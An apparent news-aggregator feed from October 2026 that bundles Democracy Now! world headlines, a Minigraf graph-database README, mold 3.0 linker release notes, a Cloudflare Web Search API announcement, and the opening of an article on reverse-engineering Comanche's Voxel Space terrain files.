I have been applying this trick to various projects. As I consider a new feature, I ask my AI to prototype quickly what I might later build based on what I am doing it. Ephemeral testing works for me thus far.

Published by

Headlines for October 5, 2026

Democracy Now!
www.democracynow.org
2026-10-05 08:00:00
Brazil’s Presidential Election Heads to a Runoff, U.S. Pulls Bombs Out of RAF Fairford After New Warnings of an Iranian-Backed Plot Targeting the Base, Iran Says Strait of Hormuz Will Remain Closed, Yemen’s Saudi-Backed Forces Announce Major New Operation Against Houthis, Israeli Airstri...
Original Article

Headlines October 05, 2026

Watch Headlines

Brazil’s Presidential Election Heads to a Runoff

Oct 05, 2026

Brazil’s presidential election is heading to a runoff between current Brazilian President Luiz Inácio Lula da Silva and far-right candidate, Senator Flávio Bolsonaro. Millions of Brazilians took to the polls Sunday, with Bolsonaro receiving 47% of the vote. Lula trailed behind with 45%. The two will face off again on October 25. Flávio Bolsonaro, a Trump ally, is the son of former right-wing President Jair Bolsonaro, who is currently serving a 27-year sentence under house arrest after being convicted of plotting a military coup following his 2022 election loss to Lula. This is one of Lula’s supporters.

Renata Manzzo : “There is a great deal of apprehension. I suppose I didn’t expect this. I had high hopes that the election would be decided in the first round in Lula’s favor, so it’s very hard to see us heading into a runoff trailing someone who is beholden to the United States, someone who, in our view, has bad plans for Brazil. It’s too much hopelessness.”

After headlines, we’ll go to Rio de Janeiro for the latest.

U.S. Pulls Bombs Out of RAF Fairford After New Warnings of an Iranian-Backed Plot Targeting the Base

Oct 05, 2026

The U.S. rushed over the weekend to pull all 12 of its B-1 bombers out of RAF Fairford in southern England after commanders reportedly received new warnings of an Iran-backed plot targeting the base. American bombers have flown from the base during the U.S.-Israeli war on Iran. The evacuation was so urgent that some bombers and their crews took off before refueling tankers had the chance to support their flights home. At least three planes had landed at their base in South Dakota by Sunday. It comes one week after British police arrested five men who were driving white vans near RAF Fairford. The men were released on bail the next day after authorities found no explosives in the vans.

Iran Says Strait of Hormuz Will Remain Closed

Oct 05, 2026

Iran says the Strait of Hormuz will remain closed until the U.S. meets conditions from the interim agreement the two countries reached in Islamabad back in June. During the U.N. General Assembly, Tehran offered to restore normal shipping through the strait within seven days if its demands are met. Iran says it will reopen the Strait of Hormuz only if the U.S. ends the war on all fronts, including Lebanon, lifts its naval blockade and sanctions, releases frozen Iranian assets, pays war compensation, recognizes Iran’s right to enrich uranium and accepts Iran’s role in governing the strait. Iran’s Foreign Ministry denied reports that Iran had offered U.N. nuclear inspections in exchange for sanctions relief, saying Tehran’s focus right now is the strait, not nuclear talks. This is Iran’s Foreign Minister Abbas Araghchi.

Abbas Araghchi : “We hope the United States chooses the path of wisdom and reason. But if it once again turns to military options, we are better prepared than before, and we will take whatever measures are necessary to defend ourselves. If it chooses the path of diplomacy, we remain ready. The United States has lost in both war and diplomacy in the past.”

Yemen’s Saudi-Backed Forces Announce Major New Operation Against Houthis

Oct 05, 2026

Yemen’s Saudi-backed armed forces announced Sunday the beginning of a major military operation to recapture regions seized by the Iran-backed Houthis, including the Yemeni capital of Sana’a. This is Rashad al-Alimi, president of Yemen’s internationally recognized government.

President Rashad al-Alimi : “Today, I announced the start of military operations to retake the remaining territory of the republic and extend the authority of the state and its institutions across all national soil. We have issued directives to the armed and security forces and all military formations to begin executing their assigned tasks according to the approved plan until the country is liberated from the grip of the terrorist militia.”

This came as the Houthis claimed responsibility for launching a series of ballistic missile and drone attacks on Saudi Aramco sites in Riyadh and the Khurais region of Saudi Arabia over the weekend. They said the attacks were in response to dozens of Saudi-led air and missile strikes on Yemen that lasted for 12 hours.

Israeli Airstrike in Gaza Kills at Least Five Palestinians

Oct 05, 2026

In Gaza, an ​Israeli airstrike killed at least five Palestinians, including four women, in an apartment building in Gaza City early on Saturday. Since last October’s so-called ceasefire, 1,400 Palestinians have been ​killed by Israeli attacks in Gaza. This is Fouad al-Najjar, who lost his mother and grandmother in Israeli strikes.

Fouad al-Najjar : “The occupation doesn’t differentiate between a Christian and a Muslim. It targets Christians before Muslims in Gaza. All of us have lost martyrs, and we have wounded people. In almost every home, you will find someone who was either martyred or injured.”

U.K.’s Green Party Votes to Classify Zionism as a Form of Racism

Oct 05, 2026

In the U.K., the Green Party has voted to classify Zionism as a form of racism, calling it “an ethnonationalist political project.” The motion also renews the Green Party’s call for Britain’s Labour government to end all arms trade with Israel and backs a single democratic state throughout historic Palestine. Israel’s government condemned the motion as antisemitic and accused the Greens of legitimizing terrorism. Israel’s Foreign Minister Gideon Sa’ar said he would bar party leader Zack Polanski from entering Israel. Polanski did not cast a vote.

Cornell University President Welcomes Independent Probe into Gang Rape of Undergraduate Student

Oct 05, 2026

Cornell University President Michael Kotlikoff says he welcomes an independent investigation over the school’s failure to properly respond to reports by a 20-year-old undergraduate student who said she was drugged and gang raped by seven fellow Cornell students and members of the Chi Phi fraternity in 2024. Kotlikoff posted this video message Saturday.

Michael Kotlikoff : “In conjunction with our Board of Trustees, I welcome the independent review by an outside law firm into all aspects of Cornell’s handling of the 2024 matter, which the board will announce next week. We also support the governor’s decision to turn the criminal investigation over to the New York attorney general.”

Kotlikoff is facing mounting calls to resign.

Meanwhile, Jane Doe’s attorney, Thomas Giuffra, told CNN’s “State of the Union” she’s been the target of multiple threats and harassment.

Thomas Giuffra : “It seems that if you have a complaining witness saying, ’I’m 100% certain I was raped,’ that should make it into a report. You had the group chat inviting people to participate in a rape. You had a complaining witness. You had evidence of a crime. And they didn’t follow up on it. They didn’t include it. And that’s very concerning to me. And I’m not a person who believes in cover-ups, but in this case I feel like there really was a cover-up.”

Tennessee’s Prison Chief Steps Down After Botched Execution Attempt of Christa Pike

Oct 05, 2026

Tennessee’s prison chief, Frank Strada, is stepping down from his position later this month as he faces national backlash after overseeing Christa Pike’s botched attempted execution. Pike remains hospitalized in critical condition and on a ventilator unconscious, with burns and blisters on both her arms, after surviving two doses of pentobarbital.

Strada’s resignation comes ahead of an independent investigation into what went wrong. Pike’s botched execution was reportedly at least the fifth Strada had supervised across two states since 2022. In Strada’s previous role as a prison official in Arizona, CNN reports, he oversaw three executions that observers and administrators say may have violated state protocols.

Federal Judge Blocks Further Border Wall Construction Inside Big Bend National Park

Oct 05, 2026

In Texas, a federal judge in El Paso on Friday blocked further border wall construction inside Big Bend National Park, in a decision that was hailed by environmentalists. Judge Kathleen Cardone said her preliminary injunction will remain in place until a lawsuit filed by the Center for Biological Diversity and others is resolved, and signaled the plaintiffs’ constitutional claims against the border wall expansion are likely to succeed in court. Click here to see our coverage of this story .

Trump Names DNI Director Jay Clayton as New AI Czar

Oct 05, 2026

President Trump named Director of National Intelligence Jay Clayton as the White House’s new AI czar. Clayton will lead a new “Super Intelligence Force” that Trump says will coordinate the government’s work on artificial intelligence.
This comes as David Robinson, a senior OpenAI safety staffer, has resigned and says the company’s culture is broken. Writing in The Atlantic magazine, Robinson said, “I agree with other recently departed staff that the companies building this technology aren’t being nearly careful enough. But I believe that we need to look deeper than specific rules or new laws. We need to talk about culture. As the company sprints from one launch to the next, it is failing to achieve the level of care that I believe is needed.” Recently OpenAI called off the launch of a new AI model after its own researchers flagged safety problems during internal testing. The company has also halted training on its most powerful models.

Tens of Thousands Protest in Spain Demanding Action on Housing Crisis

Oct 05, 2026

In Spain, tens of thousands of people marched in Madrid and other Spanish cities over the weekend as protests continue demanding government action on the country’s worsening housing crisis. Authorities estimated the crowds at 70,000, while organizers said 500,000 people took part. The protests came a day after opposition lawmakers voted down a housing reform package meant to address public outrage over the eviction of an 87-year-old woman, Maricarmen, from her lifelong home in Madrid. This is a protester.

Emilio : “The far-right group Núcleo Nacional threatened on social media, and there was a counterprotest. Everyone was very nervous and alert, so we set up a security perimeter around the whole camp, on top of setting control checks on all accesses to avoid any attack. … I think the camp will stay this next week. Let’s see next weekend. I think there is a will to resist. Everything is very well organized. I think we’ll stay.”

Spanish Prime Minister Pedro Sánchez earlier today announced a snap election after right-wing parties in Spain’s parliament torpedoed the housing measures. The election is scheduled for November 29.

Thousands of Students Protest School Conditions in France

Oct 05, 2026

In France, about 500 high schools are partly or fully closed today after a week of student protests were met by riot police. Thousands of students have taken to the streets across France, including in Paris, Marseille, Nantes and Montpellier, to protest teacher shortages, overcrowded classrooms and crumbling school buildings. French authorities have arrested more than 5,000 people since the movement began, about 85% of them minors, according to AFP . Student organizers say the government has offered no concrete measures and are calling for more protests on Tuesday. This is 17-year-old student Madeleine Landry.

Madeleine Landry : “It was really difficult to concentrate in the heat, especially when you are in a small classroom with 35 people in it. So, it’s true that you can very quickly lose concentration. Also, we don’t always have fans in every classroom, so it can get really, really hot. And in some classrooms, we’re not really allowed to drink water, so that makes things difficult, as well.”

Cockroach Movement in India Launches New Protests Demanding Resignation of Chief Election Commissioner

Oct 05, 2026

Image Credit: Yanni Rawat/JNA via ZUMA Press Wire

In India, the youth-led Cockroach movement has launched a new wave of nationwide protests demanding the resignation of Chief Election Commissioner Gyanesh Kumar. Critics say a process under his oversight stripped tens of millions of people from India’s voter rolls, in a move that benefits Prime Minister Narendra Modi’s ruling BJP party. Thousands rallied in Mumbai Friday after authorities denied them a permit, while in Delhi police detained at least 700 people, including opposition politicians, and imposed an internet shutdown. This is a protester in New Delhi.

Paranjoy Guha Thakurta : “If you are going to stifle freedom of expression in this country, you are stifling democracy. And I don’t think the youth of our country will allow this.”

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Show HN: Minigraf – An embedded, bi-temporal graph database in Rust

Hacker News
github.com
2026-10-05 07:18:18
Comments...
Original Article

crates.io docs.rs Build Status Clippy Status Coverage License: MIT OR Apache-2.0 Rust Edition MSRV

Embedded graph memory for AI agents, mobile apps, and the browser — the SQLite of bi-temporal graph databases

A tiny, self-contained graph database with Datalog queries and bi-temporal time travel . Think SQLite, but for connected data with full history.

Try it in your browser — no install needed →

Watch time travel in the visualizer → Scrub transaction time and valid time, and see the graph change.

Vision

Minigraf is a single-file embedded graph database that lets you:

  • ✅ Query relationships with Datalog - Recursive rules, natural graph traversal
  • ✅ Time travel through history - Bi-temporal queries (transaction time + valid time)
  • ✅ Window functions - sum/count/min/max/avg/rank/row-number :over (partition-by … :order-by …) in :find clauses
  • ✅ Prepared statements - Parse + plan once with $slot bind tokens, execute thousands of times
  • ✅ Embed anywhere - Native, WASM, mobile, IoT - one .graph file
  • ✅ Zero configuration - Just Minigraf::open("data.graph") and you're done

Status : See ROADMAP.md for planned work and current direction.

Why Datalog?

Datalog is fundamentally better for graphs than SQL-like languages:

  1. Recursive by design - Multi-hop traversals are natural, not an afterthought
  2. Simpler to implement - Smaller spec = more reliable, faster to production
  3. Perfect for temporal - Time is just another dimension in relations
  4. Proven at scale - 40+ years of research, production use (Datomic, XTDB)
  5. Graph-native - Facts (Entity-Attribute-Value) are literally edges
  6. LLM-friendly - The small, uniform grammar ( [?e :attr ?v] patterns, no JOIN variants, no subquery nesting) is easy for AI coding assistants to generate correctly from a few examples; the entire language fits in a system prompt

Installation

[dependencies]
minigraf = "2.0.2"

Or via cargo:

Requires Rust 1.89 or newer (the minimum supported Rust version, set in Cargo.toml ).

Known issues

Bugs present in the current release, with affected versions, workarounds and fix versions, are listed in the pinned Known issues in the current release issue. The most important one on v2.x:

  • Two values of the same attribute for one entity written in a single transact (or retracted in a single retract ) can read back as one value ( #371 ). Write or retract each value of a multi-valued attribute in its own call. The fix changes the file format and ships in v3.0.0.

v2.x gets data-integrity and security fixes for 12 months after v3.0.0 ships. See the support policy .

Quick Start

use minigraf::{Minigraf, OpenOptions};

// Open or create a file-backed database
let db = OpenOptions::new().path("myapp.graph").open()?;

// Add facts
db.execute(r#"(transact [[:alice :person/name "Alice"]
                         [:alice :person/age 30]
                         [:alice :friend :bob]
                         [:bob :person/name "Bob"]])"#)?;

// Query with Datalog
let results = db.execute(r#"
    (query [:find ?friend-name
            :where [:alice :friend ?friend]
                   [?friend :person/name ?friend-name]])
"#)?;

// Explicit transaction — all-or-nothing
let mut tx = db.begin_write()?;
tx.execute(r#"(transact [[:alice :person/age 31]])"#)?;
tx.commit()?;

// Time travel — query as of past transaction counter
db.execute("(query [:find ?age :as-of 1 :where [:alice :person/age ?age]])")?;

// Recursive rule — transitive reachability
db.execute(r#"(rule [(reachable ?a ?b) [?a :friend ?b]])
              (rule [(reachable ?a ?b) [?a :friend ?m] (reachable ?m ?b)])"#)?;

// Prepared statement — parse + plan once, execute many times
use minigraf::BindValue;
let pq = db.prepare("(query [:find ?name :as-of $tx :where [$entity :person/name ?name]])")?;
let r1 = pq.execute(&[("tx", BindValue::TxCount(1)), ("entity", BindValue::Entity(alice_id))])?;
let r2 = pq.execute(&[("tx", BindValue::TxCount(2)), ("entity", BindValue::Entity(bob_id))])?;
cargo run          # interactive Datalog REPL
cargo test         # run 1212 tests
cargo run < demos/demo_recursive.txt   # recursive rules demo

Demo

See a working implementation of temporal reasoning with Minigraf at github.com/adityamukho/temporal_reasoning — an AI agent that uses Minigraf's bi-temporal model to store, correct, and audit beliefs.

The time travel visualizer runs Minigraf in your browser and draws its history. Step through transactions, move the valid-time cursor, and see each fact version on a bitemporal map. It opens .graph files too. For example, see a salary that was recorded wrong and then corrected .

See the Datalog Reference wiki page for the complete syntax.

Why Minigraf?

No other database offers this combination:

Feature Minigraf XTDB Cozo Neo4j SQLite
Query Language Datalog Datalog Datalog Cypher SQL
Single File ✅ Yes ❌ No ❌ No ❌ No ✅ Yes
Bi-temporal ✅ Yes ✅ Yes ⚠️ Time travel ❌ No ❌ No
Embedded ✅ Yes ✅ Yes ✅ Yes ❌ No ✅ Yes
Graph Native ✅ Yes ✅ Yes ✅ Yes ✅ Yes ❌ No
Rust ✅ Yes ❌ Clojure ✅ Yes ❌ Java ❌ C
WASM Ready ✅ Yes (browser + WASI) ❌ No ⚠️ Limited ❌ No ✅ Yes

Platform support

Platform Tier Package Install
Rust (native) 1 minigraf on crates.io cargo add minigraf
Python 1 minigraf on PyPI pip install minigraf
Browser WASM 2 (experimental) @minigraf/browser on npm npm install @minigraf/browser
WASI 2 (experimental) @minigraf/wasi on npm npm install @minigraf/wasi
Node.js 2 (experimental) minigraf on npm npm install minigraf
Java/JVM 2 (experimental) io.github.project-minigraf:minigraf-jvm on Maven Central see wiki
Android 2 (experimental) io.github.project-minigraf:minigraf-android ( .aar ) on Maven Central see wiki
iOS / macOS 2 (experimental) .xcframework via Swift Package Manager ( minigraf-swift ) see wiki
C / FFI 2 (experimental) header + tarball on minigraf-c releases see wiki

Tier 1 bindings are fully tested and released at the same time as every core release. Tier 2 bindings are built and smoke-tested, released on a best-effort schedule, and experimental. A binding moves to Tier 1 when real users need it. Tier 1 operating systems and filesystems are Linux (ext4, xfs), macOS (APFS) and Windows (NTFS) on local disk; NFSv4 is supported with caveats, and NFSv3 nolock is unsupported for multiple writers. Details: support tiers .

Embedded graph memory for agents, mobile, and the browser — SQLite's simplicity + Datomic's temporal model.

Language Bindings

Language Package Repo
Python minigraf on PyPI minigraf-python
Node.js minigraf on npm minigraf-node
Browser WASM @minigraf/browser on npm minigraf-wasm
WASI @minigraf/wasi on npm minigraf-wasm
Java io.github.project-minigraf:minigraf-jvm on Maven Central minigraf-java
Android io.github.project-minigraf:minigraf-android on Maven Central minigraf-android
iOS/macOS Swift bindings minigraf-swift
C C bindings minigraf-c

See the Comparison wiki page for detailed analysis including temporal vs. time-series databases.

For AI Agents

Store what an agent believes, retract and correct without losing history, and replay past states to audit decisions. Every fact carries both transaction time (when it was recorded) and valid time (when it was true), so you can reconstruct the exact knowledge state at the moment of any past decision.

Pairs well with vector stores (GraphRAG pattern): the vector store answers "what is similar?"; Minigraf answers "what are the relationships, who recorded them, and what did we believe at time T?"

See it in the visualizer: what an agent believed when it made a recommendation , and the correction that followed (press → to step forward).

For Mobile Apps

Offline-first storage with retroactive corrections — the bi-temporal model lets you correct a mis-entered value while preserving the original record ( see a correction in the visualizer ). Native Kotlin and Swift bindings ship as an Android .aar (Maven Central) and an iOS .xcframework (Swift Package Manager) via UniFFI . No Rust required.

// Android (Kotlin)
val db = MiniGrafDb.open(context.filesDir.absolutePath + "/myapp.graph")
db.execute("""(transact [[:alice :person/name "Alice"] [:alice :person/age 30]])""")
val json = db.execute("(query [:find ?name :where [?e :person/name ?name]])")
// iOS (Swift)
let db = try MiniGrafDb.open(path: docsURL.appendingPathComponent("myapp.graph").path)
try db.execute(datalog: #"(transact [[:alice :person/name "Alice"] [:alice :person/age 30]])"#)
let json = try db.execute(datalog: "(query [:find ?name :where [?e :person/name ?name]])")

See the Mobile Integration wiki section for full setup and usage docs (Gradle config, SPM integration, error handling, threading).

For WASM / Browser

Published as @minigraf/browser on npm (IndexedDB-backed, wasm-pack ). WASI build ( wasm32-wasip1 ) available as @minigraf/wasi on npm and as a GitHub Releases artifact (Wasmtime / Wasmer). See the Use Cases wiki . The playground and the time travel visualizer are both built on @minigraf/browser .

For Python / Node.js / Java / C

Language bindings ship as minigraf on PyPI, minigraf on npm (Node.js native addon), io.github.adityamukho:minigraf-jvm on Maven Central, and a C header + prebuilt shared library on GitHub Releases. See the Use Cases wiki .

Scope

Minigraf runs as:

  • ✅ An embedded library
  • ✅ A standalone binary (interactive REPL)
  • ✅ Browser WASM — @minigraf/browser (IndexedDB-backed, wasm-pack )
  • ✅ Server-side WASM — wasm32-wasip1 / WASI (Wasmtime, Wasmer, Cloudflare Workers)
  • ✅ Android, iOS, Python, Node.js, Java, C — via UniFFI / napi-rs / cbindgen

Minigraf will not be (by design):

  • Distributed — no clustering, no sharding, no replication; each agent instance owns its own .graph file
  • Client-server — no network protocol in core
  • Billion-node scale — optimised for <1M nodes (like SQLite)
  • A time-series database — Minigraf is a temporal database; see Comparison

Roadmap

See ROADMAP.md for planned work and current direction.

Performance

See BENCHMARKS.md for the current reproducible local snapshot and benchmark commands. | Point query at 1M facts | 4.3–4.5 s (selective B+tree lookup for bounded patterns; O(N) for full-attribute scans) | | Open time at 1M facts | 1.31 s (2.4× faster than v5 — indexes no longer loaded into RAM) | | Peak heap at 1M facts | 1.05 GB (~21% less than v5 — indexes paged in on demand) |

File-backed databases enforce a maximum fact size of 4 080 serialised bytes per fact. In-memory databases have no limit.

Durability tuning: every write is fsync 'd immediately by default ( SyncMode::Full ). Bulk loaders/migrations that can safely re-run from a checkpoint watermark on failure can trade that for throughput with OpenOptions::new().synchronous(SyncMode::Normal) — checkpoint() still fsyncs unconditionally in both modes. See the Performance Tuning wiki page for the full tradeoff and the write-batching pattern that pairs with it.

Contributing

This is a solo-maintained project with a long-term vision. Read PHILOSOPHY.md and ROADMAP.md before proposing features.

See CONTRIBUTING.md for development setup, code standards, and the PR process.

License

Licensed under either of:

at your option.

Contribution

Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as defined in the Apache-2.0 license, shall be dual licensed as above, without any additional terms or conditions.

Mold Linker Version 3.0.0 Release – Rewritten in Rust

Hacker News
github.com
2026-10-05 07:17:18
Comments...
Original Article

mold 3.0.0 is a new major release of the high-speed linker. As we announced in the 2.42.1 release notes , we have rewritten mold from C++ to Rust, and this is the first release of the Rust version. 2.42.1 is the last release of the C++ version. The goal of mold 3.x is to close the remaining compatibility gaps with GNU ld, particularly in linker script support, and to pave the way for mold to be adopted as the default linker in Linux distributions.

mold 3.0 is meant to be a drop-in replacement for 2.42.1. It accepts the same command-line options, supports the same target architectures, and produces the same output except for the bug fixes listed below. Linking performance remains on par with 2.42.1. We verified compatibility by running the test suite on every supported target, comparing linker output across a broad range of real-world workloads and option combinations, and building all Gentoo packages. We found no regressions.

The move to Rust also makes mold safer with corrupted input files. The C++ version could read memory out of bounds on such input and crash with a segmentation fault. In mold 3.0, those reads are bounds-checked, so mold stops with a panic at the faulty access instead.

If you build mold yourself, note that the build system has changed. See "Build Changes" below.

Build Changes

  • mold is now built with Cargo instead of CMake. It requires Rust 1.95 or later and a C compiler. Run cargo build --release to build mold and ./install-mold.sh to install it; the install script accepts PREFIX and DESTDIR . The CMake options have been removed.

  • If you install mold's libraries into a directory other than $PREFIX/lib , such as /usr/lib64 , set the MOLD_LIBDIR environment variable to that directory both when building and when installing mold, so that mold -run can find mold-wrapper.so .

  • mold no longer depends on oneTBB . It statically links mimalloc 3.5.3 as before; build with --features system-allocator to use the system's malloc instead. mold links the system's zlib if available and includes zstd and BLAKE3; set ZSTD_SYS_USE_PKG_CONFIG=1 to link the system's zstd. ( 56ee0f8 )

  • The MOLD_TARGETS CMake variable has been replaced with Cargo features. As before, distributions should build mold for all targets.

  • The test suite now runs with cargo test instead of ctest . install-build-deps.sh has been replaced with install-test-deps.sh , which you need only to run the tests.

Bug Fixes and Compatibility Improvements

  • Fixed a crash when creating a statically-linked executable with a version script or --default-symver . ( f10b0c4 )

  • Fixed a crash or a corrupted output when the output file is also an input file, as in mold -r -o foo.o foo.o bar.o . ( d2b88ab )

  • --gc-sections no longer removes the functions given by --init and --fini . ( c9e4cc4 )

  • Common symbols of the same name with different sizes now get the largest size and the strictest alignment, as in GNU ld and lld. ( d5781d5 )

  • --icf=safe no longer folds functions exported from a shared library, and --icf=all no longer crashes with --emit-relocs . ( ceab12c , 3dcd1df )

  • A versioned reference such as foo@VER in a shared library no longer pulls in an archive member that defines an unversioned foo . ( #1657 ) ( 44bfa2a )

  • Fixed several cases of nondeterministic output, in --dependency-file , --repro , -r with many COMDAT groups of the same name, and some dynamic relocations. ( 5164561 , 6d33903 , 51e23d4 , 696ed71 )

  • Fixed several -r bugs: C++ exceptions broke in code from the second and later input files; -x , -X and -s removed symbols that relocations referred to; --gc-sections dropped data that relocations referred to; sh_link of SHF_LINK_ORDER sections such as .ARM.exidx was not set; and mold crashed with --strip-debug and DWARF type units. ( 0e41bb9 , 3717460 , b2c3d1d , 9aacb62 , a247ca2 , e41ed90 )

  • GOT-relative relocations such as R_X86_64_GOTOFF64 , and R_ARM_REL32 , against symbols defined in shared libraries silently got wrong addresses. They are now handled correctly or reported as errors. ( #1668 ) ( 659780e , 7fe68bf )

  • Errors for PC-relative relocations that can't be used in position-independent output now explain the cause and how to fix it. ( 39e6a01 , 17b7b85 )

  • The following now cause errors instead of a broken output or a crash: --defsym aliasing a symbol defined in a shared library, an undefined non-weak hidden symbol in a shared library or with --unresolved-symbols=ignore-all , a --defsym value that doesn't fit in 64 bits, an allocated section that is also compressed, and --strip-all with --emit-relocs . ( 56b862b , b3566fa , e3a89f2 , a980054 , 8233a75 )

  • --noinhibit-exec no longer crashes on references to symbols in discarded COMDAT groups. ( 8f17166 , 80baa5d )

  • Options starting with a single dash are now read as GNU ld reads them. For example, -entry=main was read as -e ntry=main . ( #1671 , #1670 ) ( 830a860 )

  • --dynamic-list-data , --lto-pseudo-probe-for-profiling and --thinlto-index-only no longer consume the next argument, and --no-color-diagnostics is now accepted. ( 2ca893e , 04b493e )

  • If a version script lists a symbol in more than one version node, the first one now takes precedence, as in GNU ld and lld. ( b7048f5 )

  • Fixed relative paths with -C , --chroot and --repro . ( e3bc349 , 04e7dd8 , a368d22 )

  • mold no longer reserves 8 GiB of virtual address space at startup, so it works under ulimit -v . ( cc69390 , b18be91 )

  • MOLD_JOBS now works if XDG_RUNTIME_DIR is an empty string. ( 8a360ff )

  • Files created by --separate-debug-file no longer contain a .gnu_debuglink section. ( #1656 ) ( b56649e )

  • mold no longer creates the meaningless __start_EHDR , __stop_EHDR , __start_PHDR and __stop_PHDR symbols. ( 0ee71d3 )

  • [AArch64][PPC32][ARM32] Fixed calls to static functions in other sections through range extension thunks, which jumped to wrong addresses in large programs such as the ARM64 debug build of Chromium. ( 4165d0e , 9b91621 )

  • [AArch64] Added support for more relocation types, such as R_AARCH64_TSTBR14 and R_AARCH64_GOT_LD_PREL19 . ( 96d0282 , a4b64d8 )

  • [ARM32] Added support for more relocation types, such as R_ARM_ALU_PC_G0 and R_ARM_THM_PC12 , and fixed -r output for big-endian ARM. ( c0f9cd6 , 4c9aad3 , 4c26f16 )

  • [ARM32][i386] -r no longer corrupts instructions referred to by some branch and TLS relocations. ( 1b17bdf )

  • [RISC-V][LoongArch] Fixed calls to functions folded by --icf=all when relaxation shrinks them, and R_RISCV_64 and R_LARCH_64 relocations in 32-bit objects. ( 52febe9 , 5b22233 )

  • [RISC-V] Fixed TLSDESC with object files created by Clang 18, --emit-relocs with TLSDESC relaxation, the EF_RISCV_TSO flag, R_RISCV_ALIGN in -r output, and overflow checks for 32-bit PC-relative relocations. ( fdf8422 , 7c8b805 , 6b60f75 , 4ba7792 , 85d55f3 )

  • [LoongArch] Added support for TLSDESC in the extreme code model, and fixed wrong values of *64_PC_HI12 relocations and spurious overflow errors for TLS relocations. ( a36a161 , 8133938 , 13e6cc0 )

  • [PPC32][m68k] A GOT too large for the 16-bit offsets that -fpic code uses is now reported as an error instead of being silently truncated. ( acc8854 , 614e2a0 )

  • [PPC64] Fixed IFUNC calls in statically-linked executables and @got references in hand-written assembly, and mold now synthesizes the _savegpr0_* family of functions for PPC64V1 as well. ( d3b2a74 , b34a308 , efda2fc )

  • [SH4] Fixed a crash when calling a function that returns a structure through the PLT, and C++ exceptions in programs linked from -r output. ( d9cf1f0 , 92161dd )

  • [SPARC64] Fixed branch instructions using R_SPARC_WDISP16 , and R_SPARC_OLO10 in -r output. ( 6df3fd2 , 269fbb9 )

Acknowledgements

mold is an open-source project, and we accept donations via GitHub Sponsors and OpenCollective . We thank everyone who sponsors our project. In particular, we would like to acknowledge the following organizations and people who have sponsored $32/month or more during this release cycle:

Europe's new robotics unicorn: Germany's RobCo hits $1B valuation

Hacker News
techfundingnews.com
2026-10-05 07:13:51
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

You can email the site owner to let them know you were blocked. Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page.

Another Historic Cipher Falls to AI

Schneier
www.schneier.com
2026-10-05 07:04:47
This one is from 1809, written by Napoleon’s nephew....
Original Article

Web Search API

Hacker News
developers.cloudflare.com
2026-10-05 06:47:06
Comments...
Original Article

Web Search API is now available in beta. Web Search API lets your AI agents and applications search the Internet and ground their responses in live information, instead of guessing URLs or relying on a model's training cutoff.

At launch, you can choose between three search providers: Ceramic.ai, Exa, and Linkup . All three support Zero Data Retention for requests made through Cloudflare, and all have committed to Cloudflare's verified bot crawling standards.

Web Search API runs through AI Gateway , so search requests appear in your gateway logs and are billed to your AI Gateway credits at each provider's list API price, with no additional markup. You can also bring your own provider API key.

Call Web Search API with the REST API:

curl https://api.cloudflare.com/client/v4/accounts/$CLOUDFLARE_ACCOUNT_ID/ai/websearch/ \
  --request POST \
  --header "Authorization: Bearer $CLOUDFLARE_API_TOKEN" \
  --header "Content-Type: application/json" \
  --data '{
    "query": "What are some fun things to do in Salt Lake City as fall approaches?",
    "provider": "ceramic",
    "limit": 5,
    "options": { "gateway": { "id": "default" } }
  }'

Or from a Worker with the AI binding:

const response = await env.AI.websearch({
	gatewayId: "default",
	query: "What are some fun things to do in Salt Lake City as fall approaches?",
	provider: "exa",
	limit: 5,
});

const results = await response.json();

To get started, refer to How to use Web Search API .

Reverse Engineering Comanche Terrain Maps

Lobsters
pikuma.com
2026-10-05 06:45:51
Comments...
Original Article

The Voxel Space terrain-rendering technique used in NovaLogic's Comanche is one of my favorite algorithms ever. This article explores the reverse-engineering process behind decoding the original game files, including the heightmap and color data needed to render the terrain.

I have always been fascinated by 3D terrain rendering and the way computer graphics can recreate landscapes. Sometimes I think that fascination comes from growing up in the pampas of southern Brazil, where nature stretched out as far as the eye could see. Hills, vegetation, open horizons, and different green shades of woodland and Araucaria trees.

campos de cima da serra brasil rio grande do sul

Campos de Cima da Serra. Rio Grande do Sul, Brazil.

At other times, I wonder if the thrill of rendering my first OpenGL landscape was just me fulfilling a different kind of dream: the dream of seeing those landscapes untouched, without the scars left by human hands and the relentless advance of progress. Through computer graphics, I could imagine a different world... a world that looked like the one I remembered, rather than the one I was forced to watch slowly crumble around me.

opengl terrain

Example of a 3D terrain using legacy (fixed-function) OpenGL 1.4

That being said, drawing fancy 3D terrain using OpenGL was not how I started. In the early 90s, we did not have hardware acceleration and high-resolution displays. Back then, every pixel was manually painted via software (CPU). It was the golden era of MS-DOS games, VGA & SVGA graphics, low-poly, flat-shaded, and dithered 3D worlds.

The majority of the flight simulators of the time rendered terrain using polygons. Every 3D object contains vertices, and those vertices are used to compose a polygonal scene that gets projected and rasterized, scanline by scanline, pixel by pixel.

F29 Retaliator by Digital Image Design

F29 Retaliator by Digital Image Design

In a decade where most 3D games used polygonal graphics, NovaLogic's Comanche: Maximum Overkill showed rolling mountains, deep canyons, and shaded valleys that looked almost photographic, and it did that on the home's 386 machine.

The technique behind it was called Voxel Space , and it was created by Kyle Freeman . This is probably one of my favorite algorithms of all time, and I've covered how the technique works in one of our previous videos:

Comanche Terrain Rendering (Voxel Space Algorithm)

If you've followed our Voxel Space tutorial, you know that we use a set of 1024×1024 images: one color map and one height map for each level .

But have you ever asked yourself where those images came from? The game never shipped any GIF files. To generate those GIF files, we need to dig them out of the original game data.

That's exactly what we'll do in this article! We'll open the files that shipped with the 1992 game, look at the raw bytes, work out the format, and then write a small ANSI C program that turns them into BMP images you can open in any image viewer. As you'll see, the answer is a lot less exotic than you might expect, and that's a lesson in itself.

Eyes on the Prize!

Before we open a hex editor, it helps to know what the final result should look like. A Voxel Space terrain needs only two pieces of data:

  • A height map : a grid where each byte is the terrain altitude at that point.
  • A color map : a grid of the same size where each byte is the color of the ground at that point, with the lighting and shadows already baked in.

Color map & Height map

